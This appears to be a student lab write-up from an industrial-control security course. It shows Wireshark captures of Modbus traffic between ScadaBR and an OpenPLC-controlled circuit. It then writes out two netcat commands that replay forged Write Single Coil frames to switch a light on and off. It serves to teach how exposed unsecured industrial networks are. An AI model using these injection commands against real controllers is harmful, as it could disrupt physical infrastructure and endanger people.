KALI payload delivery

In this lab we displayed that we could read the packets using Wireshark and then send a fake packet using data from legitimate packets to control our circuit. To begin this lab requires the environment from previous labs, Scadabr, openplc, a breadboard circuit and a pi 400. Next will be downloading and configuring a kali VM in Virtual Box. Next is to set both VMs (ScadaBR and kali) network settings to promiscuous mode to Allow All.

Setting promiscuous mode will allow the VMs to detect each other's traffic which is needed for the rest of the lab. Next begin running the environment from either the first circuit or second with the HMI working and updating with the circuit. Next we will open Wireshark on the Kali VM and sort traffic using Modbus

Entering Modbus will sort the results and only returning the packets that are using the Modbus protocol. This will allow us to view only the traffic we need coming ScadaBr and the response from openplc. These messages will look like this

Request:

```
> Frame 4830: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface eth0, id 0
> Ethernet II, Src: PcsCompu_42:e8:8f (08:00:27:42:e8:8f), Dst: Raspberr_9a:eb:bd (e4:5f:01:9a:eb:bd)
> Internet Protocol Version 4, Src: 192.168.0.113, Dst: 192.168.0.100
> Transmission Control Protocol, Src Port: 48372, Dst Port: 502, Seq: 1, Ack: 1, Len: 12
+ Modbus/TCP
  Transaction Identifier: 4995
  Protocol Identifier: 0
  Length: 6
  Unit Identifier: 1
+ Modbus
  .000 0010 = Function Code: Read Discrete Inputs (2)
  Reference Number: 2
  Bit Count: 2
```

Response:

```
> Frame 4833: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface eth0, id 0
> Ethernet II, Src: Raspberr_9a:eb:bd (e4:5f:01:9a:eb:bd), Dst: IntelCor_ee:8e:5a (74:d8:3e:ee:8e:5a)
> Internet Protocol Version 4, Src: 192.168.0.100, Dst: 192.168.0.113
> Transmission Control Protocol, Src Port: 502, Dst Port: 48372, Seq: 1, Ack: 13, Len: 10
+ Modbus/TCP
  Transaction Identifier: 4995
  Protocol Identifier: 0
  Length: 4
  Unit Identifier: 1
+ Modbus
  .000 0010 = Function Code: Read Discrete Inputs (2)
  [request Frame: 4830]
  [Time from request: 0.046439468 seconds]
  Byte Count: 1
  Bit 2 : 0
  Bit 3 : 0
```

The messages come in pairs and there is different requests, read coils, discrete inputs, and write single coil. For this lab we need the write single coil messages, they look like this

|-----| data needed

1

```
> Frame 106: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface eth0, id 0
> Ethernet II, Src: PcsCompu_42:e8:8f (08:00:27:42:e8:8f), Dst: Raspberr_9a:eb:bd (e4:5f:01:9a:eb:bd)
> Internet Protocol Version 4, Src: 192.168.0.113, Dst: 192.168.0.100
> Transmission Control Protocol, Src Port: 54600, Dst Port: 502, Seq: 1, Ack: 1, Len: 12
+ Modbus/TCP
  Transaction Identifier: 735
  Protocol Identifier: 0
  Length: 6
  Unit Identifier: 1
+ Modbus
  .000 0101 = Function Code: Write Single Coil (5)
  Reference Number: 0
  Data: ff00
  Padding: 0x00
```

2

```
> Frame 108: 80 bytes on wire (640 bits), 80 bytes captured (640 bits) on interface eth0, id 0
> Ethernet II, Src: Raspberr_9a:eb:bd (e4:5f:01:9a:eb:bd), Dst: IntelCor_ee:8e:5a (74:d8:3e:ee:8e:5a)
> Internet Protocol Version 4, Src: 192.168.0.100, Dst: 192.168.0.113
> Transmission Control Protocol, Src Port: 502, Dst Port: 54600, Seq: 1, Ack: 13, Len: 12
+ Modbus/TCP
  Transaction Identifier: 735
  Protocol Identifier: 0
  Length: 6
  Unit Identifier: 1
+ Modbus
  .000 0101 = Function Code: Write Single Coil (5)
  [request Frame: 106]
  [Time from request: 0.018536434 seconds]
  Reference Number: 0
  Data: ff00
  Padding: 0x00
```

These packets contain the data we need to exploit the HMI. The write command in this instance is the manual changing of values from 0 to 1 turning the light on and then a second set of packets turning it off. Here the data we need to take to replicate this is highlighted on the right side of the first image.

Before the Command

The Command

```
(matt-kali@kali)-[~]  
$ echo -n -e "\x02\xdf\x00\x00\x00\x06\x01\x05\x00\x00\xff\x00" | nc 192.16  
8.0.100 502 -w 1 # writing 'on' to slave 1,  
♦♦ Write Single coil (5)
```

The command is split into two parts the payload and the delivery method. The payload is the string of hexadecimal taken from the write 'on' packet and it is being sent using Netcat. The delivery is the nc command that delivers the previous echo statement to the address 192.168.0.100 on port 502. The HMI uses port 502 as seen in the packets.

After Command

The off command

```
(matt-kali@kali)-[~]  
$ echo -n -e "\x02\xf4\x00\x00\x00\x06\x01\x05\x00\x00\x00\x00" | nc 192.16  
8.0.100 502 -w 1 # writing 'off' to slave 1,  
♦♦ Function code: Write Single coil (5)
```

The “Off Command” is the same command as before just with the hex from the write packet that changed the lights value from 1 to 0. The write ‘off’ packet is nearly identical except for the Modbus portion.

After command

We remotely activated a circuit with only the collection of a few select packets. This shows the dangers of having unsecured devices and networks in infrastructure environments, there is nothing to prevent or detect this action out of the box.
